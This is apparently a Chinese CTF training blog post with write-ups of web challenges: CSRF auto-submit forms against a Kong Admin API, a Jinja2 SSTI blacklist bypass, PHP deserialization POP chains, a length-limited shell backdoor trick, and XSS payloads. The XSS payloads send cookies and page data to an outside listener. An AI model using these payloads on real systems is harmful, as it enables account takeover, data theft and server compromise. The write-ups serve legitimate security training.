2026-now 网络安全笔记

2026-07-09 太原培训网鼎杯复习靶场

web378【XXE未完待续】

web882 【CSRF】

++CSRF 的本质:攻击者诱导受害者浏览器向目标站点发起非预期请求。++

成立条件

  • 浏览器能访问目标。
  • 目标接口缺少请求真实性校验。
  • 请求能改变状态。
  • 攻击者能构造触发请求的页面或链接。

常见载体

  • <img> / <script> 标签: 用于 GET 型 CSRF。利用了浏览器解析 HTML 时会自动、静默地发起异步请求的特性。
  • HTML form 表单: 用于 POST 型 CSRF。因为常规标签无法发起 POST 请求,必须依靠表单。
  • 自动跳转(JavaScript 自动提交): 配合 HTML form 使用。比如利用 document.form0.submit(),让受害者一打开恶意网页,表单就自动提交,实现"无感"攻击。
  • <iframe> 标签: 攻击者经常把隐藏的表单放在一个 width=0 height=0 的不可见 iframe 里面提交,这样受害者即便提交了表单,当前页面也不会发生刷新或跳转,隐蔽性极高。

特点

  • 可跨站提交 GET 或 POST。
  • 不需要读取响应。
  • 适合触发状态变化型接口。
  • 不方便自定义复杂请求头。

适合攻击的接口

  • 创建资源。
  • 修改配置。
  • 触发任务。
  • 添加记录。

++SSRF 的本质:攻击者控制服务端或受信组件向指定目标发起请求。++

关键点

  • 请求不是攻击者机器直接发出。
  • 请求来自服务端、代理、任务系统或浏览器组件。
  • 目标可能信任这个请求来源。

常见目标

  • URL 分享/转存功能: 通过 URL 抓取网页、下载图片或文件。
  • 在线翻译/在线预览: 输入一个网页链接,服务器读取内容并翻译或生成预览。
  • Webhook 机制: 允许用户配置一个 URL,当事件触发时服务器向该 URL 发送通知。
  • 底层编码的 XML 解析: 比如利用 XXE(XML 外部实体注入)漏洞,本质上也能触发后端的 SSRF 请求。

题目内容:

题目环境在/api/report,所有服务均运行在同一台机器上,若访问/api/report无前端页面可稍作等待,初始化需要一定时间。
F12 观察表单 提交的是url

提交一个普通 URL 测试:https://example.com/

访问 /api/report 时,响应头里有:

Via: kong/2.8.1

X-Kong-Upstream-Latency

X-Kong-Proxy-Latency

Kong 的常见端口模型是:

8000:Proxy 代理端口,对外处理业务请求

8001:Admin API 管理端口,用于创建 service、route 等配置

这里有个很好的文章介绍了Kong https://zhuanlan.zhihu.com/p/577842078

CSRF 的本质是:攻击者诱导受害者浏览器向目标站点发起非预期请求。

++它不要求攻击者读取响应,只要求浏览器能把请求发出去。浏览器可以跨站提交 form。++即使同源策略阻止我们读取响应,也不影响请求本身被发出。

靶场的Kong管理端口是8001,但是靶场只开放了业务端口8000,无法访问管理端口。

办法是注册8001端口的服务,并发布出来,使其可以访问。

先创建 service:定义管理API在哪里

  • action="http://127.0.0.1:8001/services":攻击Kong Admin API。

  • method="post":创建 Kong service 需要POST。

  • target="sink":提交到隐藏 iframe,减少页面跳转影响。

  • setTimeout(...submit...):页面加载后自动提交,不需要 admin 点击。

  • type="hidden":页面不需要给真实管理员展示表单内容,只需要让浏览器提交字段。

csrf1.html源代码如下,也就是通过 http://127.0.0.1:8001/serviceshttp://127.0.0.1:8001 注册为名为 AdminAPI 的服务。

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>create admin service</title>
</head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="post" target="sink" action="http://127.0.0.1:8001/services">
	<input type="hidden" name="name" value="AdminAPI">
	<input type="hidden" name="url" value="http://127.0.0.1:8001">
</form>
<script>
	window.onload = function () {
		setTimeout(function () {
			document.getElementById("f").submit();
		}, 300 );
	};
</script>
</body>
</html>

让靶场访问csrf1.html

创建 AdminAPI 的公网 route

csrf2.html 的作用是创建 Kong route:

POST

http://127.0.0.1:8001/services/AdminAPI/routes

paths\[\] = /adminapi

name = adminapi

也就是说,它会把 https://<公网地址>:8000/adminapi 绑定到第一阶段创建的 AdminAPI service。

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>create admin route</title>
</head>
<body>
	<iframe name="sink" style="display:none"></iframe>
	<form id="f" method="post" target="sink" action="http://127.0.0.1:8001/services/AdminAPI/routes">
		<input type="hidden" name="paths[]" value="/adminapi">
		<input type="hidden" name="name" value="adminapi">
	</form>
	<script>
		window.onload = function () {
			setTimeout(function () {
				document.getElementById("f").submit();
			}, 300 );
		};
	</script>
</body>
</html>

让靶场访问csrf2.html

此后,就可以通过 https://<公网地址>:8000/adminapi 来访问原本无法访问的 https://<公网地址>:8001 了。
/adminapi

例如,访问 /adminapi/services,返回的JSON数据显示有3个服务,其中一个是我们刚注册的AdminAPI,还有一个是目标 flag。
/adminapi/services

给 flag service 创建公网 route

csrf3.html的作用是给已有的 flag service 创建公网 route:

POST

http://127.0.0.1:8001/services/flag/

routes

paths\[\] = /getflag

name = getflag

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>create flag route</title>
</head>
<body>
	<iframe name="sink" style="display:none"></iframe>
	<form id="f" method="post" target="sink" action="http://127.0.0.1:8001/services/flag/routes">
		<input type="hidden" name="paths[]" value="/getflag">
		<input type="hidden" name="name" value="getflag">
	</form>
	<script>
		window.onload = function () {
			setTimeout(function () {
				document.getElementById("f").submit();
			}, 300 );
		};
	</script>
</body>
</html>

让靶场访问csrf3.html

访问 /getflag 即可得到flag。
/getflag

攻击链:

admin bot 访问 VPS 上的 CSRF HTML

-> HTML 自动提交 form 到 Kong Admin API

-> 创建 Admin API 代理 route

-> 通过 Admin API 枚举 flag service

-> 给 flag service 创建 route

-> 公网访问 route 获取 flag

web021【SSTI模板注入】

题面如下,按F12看代码,发现有/source。

访问 /source 发现有源代码泄露。

python 复制代码
from flask import Flask, request, render_template_string, render_template
from jinja2 import Template

app = Flask(__name__)

app.config['SECRET_KEY'] = 'flag_is_not_here'


@app.route("/qaq")
def flag():
    def safe_jinja(s):
        blacklist = [
            'chr', 'base', 'builtins', 'session',
            '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
            'config', 'self', 'get_', '\'', 'request', '"', 'flag',
            '[', ']', '{}', '_.', '._', '%', '~',
            'lipsum', 'attr', 'class', '((', '))', 'flash', 'format'
        ]
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag

    name = request.args.get('name', 'null')
    if safe_jinja(name):
        name = request.args.get('name')
    else:
        name = 'Waf!'
        t = "Hello : {}".format(name)

    return render_template_string(t)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/source")
def source():
    return open("/app/app.py", "r").read()


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80, debug=False)

Flask 模板中常见可用对象包括 :url_for、get_flashed_messages、config、request、session

本题禁用了:config、request、session、flash

url_for 是一个函数。Python 函数对象通常有 globals 属性,可以访问函数所在模块的全局变量。globals 它保存这个函数定义时所在模块的全局命名空间,本质上是一个字典。所以 url_for.globals 拿到的就是类似于这样的全局字典:

python 复制代码
{
	"__name__": "flask.helpers",
	"__builtins__": {...},
	"os": <module 'os' ...>,
	"url_for": <function url_for ...>,
	...
}

如果直接写 {{url_for.globals.os}} 会命中:._ 和 _.

但 Jinja2 允许点号附近有空格: {{url_for. globals .os}}

Jinja2 仍然把它解析为属性访问,但黑名单字符串中不再出现连续的 ._ 或 _.
通过列目录来确定flag的位置
{ {url_for. globals .os.getcwd()}}

通过列目录来确定flag的位置
{ {url_for. globals .os.listdir()}}

builtins 是 Python 内置命名空间对象,存放所有 Python 原生内置函数、类型:

print、open、eval、exec、chr、ord、import、os、subprocess 等底层工具都存在这里。

构造payload:

{{ url_for. globals .get("builtins").get("open")("/flag").read() }}

问题在于builtins、flag和双引号"符号 被黑名单过滤了,要绕过。

dict(key=x)|join 的原理 Jinja2 中可以写:{{dict(os=x)|join}} 返回:os

同理:{{dict(open=x)|join}} 得到:open

这一步解决了"不能用引号写字符串"的问题。

拆分 builtins

{{dict(buil=x)|join+dict(tins=x)|join}}

运行结果:builtins

拆分flag

{{dict(fla=x)|join+dict(g=x)|join}}

拼接payload

url_for. globals .os.getcwd()+dict(fla=x)|join+dict(g=x)|join

返回:/flag

重新构造payload:
{{ url_for. globals .get(dict(buil=x)|join+dict(tins=x)|join).get(dict(open=x)|join)(url_for. globals .os.getcwd() + dict(fla=x)|join+dict(g=x)|join).read() }}
flag{f960ce32-5a04-467a-8454-a30344aeafcb}

访问首页

-> 发现 /qaq?name= 表单和 /source 源码提示

-> 读取 /source,发现 Flask 源码

-> 看到 name 经过 safe_jinja 黑名单后拼入模板字符串

-> 看到 render_template_string(t)

-> 判断存在 Jinja2 SSTI

-> 常规 {{7*7}} 被 WAF 拦截

-> 分析 blacklist,确认数字、引号、flag、builtins、\[\]、attr 等都被禁

-> 用 url_for. globals .os.getcwd() 验证 SSTI 和点号空格绕过

-> 用 os.listdir() 确认根目录存在 flag

-> 用 dict(key=x)|join 无引号构造字符串

-> 拆分 builtins、open、flag 绕过黑名单

-> 从 builtins 中取 open

-> 构造 /flag 路径并 read()

web519【php文件包含+反序列化】

题面如下:

php 复制代码
<?php 
    highlight_file(__FILE__);
    error_reporting(0); 
    ini_set('open_basedir',"/var/www/html");
    $file=$_GET['f'];
    if(preg_match("/flag|secret|index/i",$file))
    {
      die("nononono");
    }
    include_once($file);
    $sec=$_GET['pop'];
    if(isset($sec))
    {
       unserialize($sec);
    }    
?>

dirsearch 发现存在 config.php 文件,且直接访问是无回显的。可以通过伪协议读取。
/?f=php://filter/read=convert.base64-encode/resource=config.php

解码得到config.php的源代码。

php 复制代码
<?php
class start
{
        public $dc; 
        public $bd;
        public function __destruct()
        {
                $this->dc->nouse();
        }
}
class begin 
{
        public $ak; 
        public $cp;
        public function nouse()
    {
            $this->ak->nouse2();
    }
}
class step
{
        public $fun; 
        public $dif;
        public function __call($t,$a)
        {
                $ss = $this->fun;
                $ss();
        }
}
class process 
{
        public $bcd; 
        public $fec;
        public function __invoke()
        {
                $this->fec = "Invoke:".$this->bcd;
        } 
}
class over
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_secret();
                return "ok";
        }
}
class hint
{
        public function get_secret()
        {
                
                echo highlight_file('secrEt_Y0uNeverkNOW.php');
        }
}
?>

config.php存在反序列化漏洞,构造对应序列号payload。

O:5:"start":2:{s:2:"dc";O:5:"begin":2:{s:2:"ak";O:4:"step":2:{s:3:"fun";O:7:"process":2:{s:3:"bcd";O:4:"over":2:{s:4:"str1";O:4:"hint":0:{}s:4:"str2";N;}s:3:"fec";N;}s:3:"dif";N;}s:2:"cp";N;}s:2:"bd";N;}

php 复制代码
$o_start = new start();
$o_begin = new begin();
$o_step = new step();
$o_process = new process();
$o_over = new over();
$o_hint = new hint();

$o_start->dc = $o_begin;
$o_start->bd = null;

$o_begin->ak = $o_step;
$o_begin->cp = null;

$o_step->fun = $o_process;
$o_step->dif = null;

$o_process->bcd = $o_over;
$o_process->fec = null;

$o_over->str1 = $o_hint;
$o_over->str2 = null;

$s = serialize($o_start);
echo $s;

/*
O:5:"start":2:{s:2:"dc";O:5:"begin":2:{s:2:"ak";O:4:"step":2:{s:3:"fun";O:7:"process":2:{s:3:"bcd";O:4:"over":2:{s:4:"str1";O:4:"hint":0:{}s:4:"str2";N;}s:3:"fec";N;}s:3:"dif";N;}s:2:"cp";N;}s:2:"bd";N;}
*/

构造URL触发漏洞,f入参触发文件包含config.php,pop触发反序列化。

https://eci-2ze76qwosnhuprnpmjiu.cloudeci1.ichunqiu.com:80/?f=config.php\&pop=O:5:"start":2:{s:2:"dc";O:5:"begin":2:{s:2:"ak";O:4:"step":2:{s:3:"fun";O:7:"process":2:{s:3:"bcd";O:4:"over":2:{s:4:"str1";O:4:"hint":0:{}s:4:"str2";N;}s:3:"fec";N;}s:3:"dif";N;}s:2:"cp";N;}s:2:"bd";N;}

读取了secrEt_Y0uNeverkNOW.php源代码

secrEt_Y0uNeverkNOW.php源代码如下:

php 复制代码
<?php
error_reporting(0);
if($_GET['pass'] !== md5("Just_a_trick")){
   die();
}
if(strlen($_GET['cmd'])<5 && !preg_match('/rm/',$_GET['cmd']))
{
   echo shell_exec($_GET['cmd']);
}
?>

入参pass的md5值必须是字符串"Just_a_trick"的md5值,cmd是可执行的命令且长度不超过5个字符。构造payload

/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=ls /怎么
/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=ls /

注意cmd的长度限制在5个以内了。这里先创建cat文件,再执行 * /* 读取/flag。

/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=>cat

/secrEt_Y0uNeverkNOW.php?pass=179ed4505df947e3504980561b1628e7&cmd=* /*

原理如下:

执行 >cat 此时目录下只有一个文件:cat。

执行 * /* 当你敲下回车,Shell(比如 bash)会立即进行"通配符展开",然后才把展开后的结果传给命令去执行。

这里的关键是:你没有指定具体的命令(比如 ls 或 echo),所以 Shell 会把展开后的第一个词当作命令来执行。

当前目录下只有 cat 这个文件,所以

* 会被展开成 cat
/* 会被展开成根目录下的所有文件和文件夹(比如 /bin /etc /home /usr 等等)
于是,* /* 这个字符串会被 Shell 替换成:
cat /bin /etc /home /usr /lib /tmp /var ...

flag{0832b200-dcf9-41d1-8e38-571fd73b4b59}

访问首页

-> 首页 highlight_file(FILE) 显示 index.php 源码

-> 发现 f 参数进入 include_once()

-> 发现 f 参数有 flag|secret|index 黑名单

-> 发现 pop 参数进入 unserialize()

-> 直接包含 config.php 不显示源码

-> 使用 php://filter/read=string.rot13/resource=config.php 或者 convert.base64-encode 读取配置源码

-> rot13 或 base64 解码得到多个类定义

-> 根据 start / begin / step / process / over / hint 构造 POP 链

-> 触发 hint::get_secret() 泄露隐藏后门源码

-> 后门要求 pass = md5("Just_a_trick")

-> 后门 cmd 长度必须小于 5

-> 用 id、ls / 验证命令执行和 flag 位置

-> 用 >cat 创建 cat 文件

-> 用 * /* 触发 shell 通配符展开读取 /flag.txt

web925 【php反序列化】

php序列化与反序列化关键函数serialize()与unserialize()。

++serialize() 将一个对象转换成一个字符串。
unserialize() 将字符串还原成一个对象。++

php序列化类型

String : 字符串 s:4:"name"

Integer : 数字 i:123456

Boolean : 布尔 b:1

Null : 空 N

Array : 数组 a:2:{s:3:"num";i:789;s:3:"str";s:3:"str";}

Object:类 O:1:"a"

Recommend: 引用 R:1

php序列化与反序列化 中常用魔术方法

php 复制代码
__construct()  //创建对象时触发
__destruct()   //对象被销毁时触发
__call()       //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get()        //用于从不可访问的属性读取数据
__set()        //用于将数据写入不可访问的属性
__isset()      //在不可访问的属性上调用isset()或empty()触发
__unset()      //在不可访问的属性上使用unset()时触发
__invoke()     //当脚本尝试将对象调用为函数时触发

题面如下:

php 复制代码
<?php

class abaaba{
    protected $DoNotGet;

    public function __get($name){
        $this->DoNotGet->$name = "two";
        return $this->DoNotGet->$name;
    }

    public function __toString(){
        return $this->Giveme;
    }
}

class Onemore{

    public $file;
    private $filename = "one";

    public function __construct(){
        $this->readfile("images/def.jpg");
    }

    public function readfile($f){
        $this->file = isset($f) ? $f : 'image'.$this->file;
        echo file_get_contents(safe($this->file));
    }

    public function __invoke(){
        return $this->filename->Giveme;
    }
}

class suhasuha{
    private $Giveme;
    public $action;

    public function __set($name, $value){
        $this->Giveme = ($this->action)();
        return $this->Giveme;
    }
}

class One{
    public $count;

    public function __construct(){
        $this->count = "one";
    }

    public function __destruct(){
        echo "try ".$this->count." again";
    }

}

function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}

if(isset($_GET['game'])){
    unserialize($_GET['game']);
}
else{
    show_source(__FILE__);
}

?>

unserialize(\$_GET'game')

-> 生成 One 对象

-> 请求结束触发 One::__destruct()

-> echo "try " . \$this->count . " again"

-> count 是 abaaba 对象,触发 abaaba::__toString()

-> __toString() 读取 \$this->Giveme

-> Giveme 不存在,触发 abaaba::__get("Giveme")

-> __get() 写 \$this->DoNotGet->Giveme

-> DoNotGet 是 suhasuha 对象,Giveme 是 private,触发 suhasuha::__set()

-> __set() 执行 (\$this->action)()

-> action 是 Onemore对象, "readfile"

-> 调用 Onemore::readfile()

-> file_get_contents(safe(\$this->file))

php 复制代码
<?
One {
    count = abaaba {
        DoNotGet = suhasuha {
            action = [
                Onemore {
                    file = "待控制的路径"
                },
                "readfile"
            ]
        }
    }
}
?>

源码中出现下面 function safe 这段过滤。第二层过滤显然想过滤 ..,但这个正则并不是可靠的路径校验。含义接近:匹配:一个点 + 任意一个字符 + 一个点 + 后续内容,这会导致一些路径能过,一些路径被替换。

例如:images/../index.php可以通过,因为它没有形成会被该正则稳定命中的多层穿越片段。

但多层直接写:images/../../../../../flag会被替换成 !,导致读取失败。

php 复制代码
function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}
python 复制代码
from urllib.parse import quote_from_bytes

target = "https://eci-2ze5jzaka1pyzxw9eurk.cloudeci1.ichunqiu.com:80/" # 题目链接

# path = b"s/../index.php"
# 读取 images/../index.php

path = b"s/" + b"..\x00/" * 5 + b"flag"
# 是 image + 字符串
# 所以path是 "s/" + 5个"..\x00/" + "flag"
# images/../../../../../flag 穿越到根目录

payload = (
    b'O:3:"One":1:{'
    b's:5:"count";'
    b'O:6:"abaaba":1:{'
    b's:11:"\x00*\x00DoNotGet";'
    b'O:8:"suhasuha":1:{'
    b's:6:"action";'
    b'a:2:{'
    b'i:0;'
    b'O:7:"Onemore":1:{'
    b's:4:"file";'
    + b's:%d:"%s";' % (len(path), path) +
    b'}'
    b'i:1;s:8:"readfile";'
    b'}'
    b'}'
    b'}'
    b'}'
)
print(target + "?game=" + quote_from_bytes(payload))

flag{82811764-87b8-46e1-b4a0-067e84ec02a0}

访问首页

-> 页面直接 show_source(FILE) 暴露源码

-> 发现 game 参数进入 unserialize()

-> 判断存在 PHP 反序列化对象注入

-> 阅读类和魔术方法

-> 找到 One::__destruct() 作为自动触发入口

-> 让 One::\$count 成为 abaaba 对象,字符串拼接触发abaaba::__toString()

-> abaaba::__toString() 访问不存在属性 Giveme,触发abaaba::__get()

-> abaaba::__get() 给 suhasuha 的 private 属性赋值,触发suhasuha::__set()

-> suhasuha::__set() 调用可控 action

-> action 设置为 Onemore对象, "readfile"

-> Onemore::readfile() 被无参数调用,进入 fallback 路径拼接

-> 控制 Onemore::\$file,先读 index.php 验证能力

-> 分析 safe() 过滤,使用 %00 绕过多层路径穿越

-> 读取 /flag

web262【XSS】

/

/profile

/report

验证 XSS 时分三步

  1. 证明脚本能执行。

  2. 证明能读取目标上下文中的数据。

  3. 证明数据能被外带。

常见外带方式:

javascript 复制代码
fetch("https://attacker/?d=" + encodeURIComponent(data))
new Image().src = "http://攻击者公网IP:端口/?c=" + data;
let xhr = new XMLHttpRequest(); xhr.open("GET","http://攻击者公网IP:port?cookie=",true);

You can report the bugs to admin here. 页面文案说明可以给 admin 提交 bug,因此判断后端存在admin bot 审核流程。

通过dirsearch目录扫描,可以发现存在review目录,访问发现仅内网主机可访问。
/review
访问发现仅内网主机可访问

测试<script>alert(1)</script>并不会在客户端进行弹窗。

这里xss验证payload可以写成:

<script>

new Image().src = "http://<公网回连地址>:8080/?stage=xss&cookie=" + encodeURIComponent(document.cookie)

</script>

javascript 复制代码
<script>
new Image().src = "http://110.41.2.68:8080/?stage=xss&cookie=" + encodeURIComponent(document.cookie)
</script>

监听服务收到下面请求
/?stage=xss&cookie=hint%3DVisit%20%2Fg3t_fl4g%20to%20get%20flag

监听服务收到下面请求:

bash 复制代码
C:\CTF\netcat-win32-1.11\netcat-1.11>nc -lvp 8080
listening on [any] 8080 ...
39.106.20.178: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.31.0.248] from (UNKNOWN) [39.106.20.178] 10577: NO_DATA
GET /?stage=xss&cookie=hint%3DVisit%20%2Fg3t_fl4g%20to%20get%20flag HTTP/1.1
Host: 110.41.2.68:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4427.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

URL解码得到 /?stage=xss&cookie=hint=Visit /g3t_fl4g to get flag

根据提示访问 /g3t_fl4g
/g3t_fl4g
访问发现仅内网主机可访问

根据上面收集到的的信息可以理解为:

  1. XSS 提供代码执行位置。

  2. admin bot 提供 localhost 网络位置。

  3. /g3t_fl4g 提供敏感数据。

  4. 外带请求负责把结果带出。

javascript 复制代码
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function () {
 new Image().src =
 "http://110.41.2.68:8080/?data=" + encodeURIComponent(xhr.responseText);
};
xhr.open("GET", "/g3t_fl4g");
xhr.send();
</script>

遭到waf拦截

修改payload,绕过waf。

javascript 复制代码
<script>
fetch("/g3t_fl4g")
.then(r => r.text())
.then(t => {
new Image().src = "http://110.41.2.68:8080/?stage=flag&data=" + encodeURIComponent(t)
})
</script>

/?stage=flag&data=flag%7B0e2029b3-9c20-42c5-9eab-3c795648b7ab%7D

bash 复制代码
C:\CTF\netcat-win32-1.11\netcat-1.11>nc -lvp 8080
listening on [any] 8080 ...
39.106.20.178: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [172.31.0.248] from (UNKNOWN) [39.106.20.178] 9144: NO_DATA
GET /?stage=flag&data=flag%7B0e2029b3-9c20-42c5-9eab-3c795648b7ab%7D HTTP/1.1
Host: 110.41.2.68:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4427.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

访问站点,收集页面和路由

-> 发现 /report 页面可以向 admin 提交内容

-> 由 "report to admin" 联想到 admin bot 与存储型 XSS

-> 探测 /review,发现只允许 localhost 访问

-> 提交 XSS 回连 payload,验证 admin bot 会访问审核页面

-> 通过回连中的 cookie 提示发现 /g3t_fl4g

-> 直接访问 /g3t_fl4g 返回 localhost-only

-> 让 admin bot 浏览器在 localhost 上请求 /g3t_fl4g

-> 将响应内容外带到公网监听服务

相关推荐
数据知道2 小时前
安全报告怎么写才专业:渗透测试报告模板与踩坑
安全·网络安全·漏洞修复·安全报告·渗透测试报告
编程(变成)小辣鸡6 小时前
如何防止接口被恶意刷?
java·后端·网络安全
ylscode13 小时前
OpenSSH 10.4 正式发布:后量子加密落地,多项高危漏洞得到修复
网络·安全·网络安全
HackTwoHub20 小时前
ARL灯塔重构版:支持APP/小程序/WEB资产同步扫描
人工智能·安全·web安全·网络安全·小程序·重构·自动化
ccino .1 天前
Hackerone-地址栏xss
网络安全·xss
数据知道1 天前
网络安全工具箱:100+ 工具分类速查与选型建议
安全·web安全·网络安全
txg6661 天前
路径级持久化模糊测试:XSSky 如何精准击破 XSS 漏洞
深度学习·安全·web安全·网络安全·xss
红信鸽1 天前
2026 年 AI 钓鱼攻击现状与防御深度解析
网络安全
数据知道1 天前
安全实验室搭建指南:一台电脑搭出完整靶场环境
安全·网络安全·电脑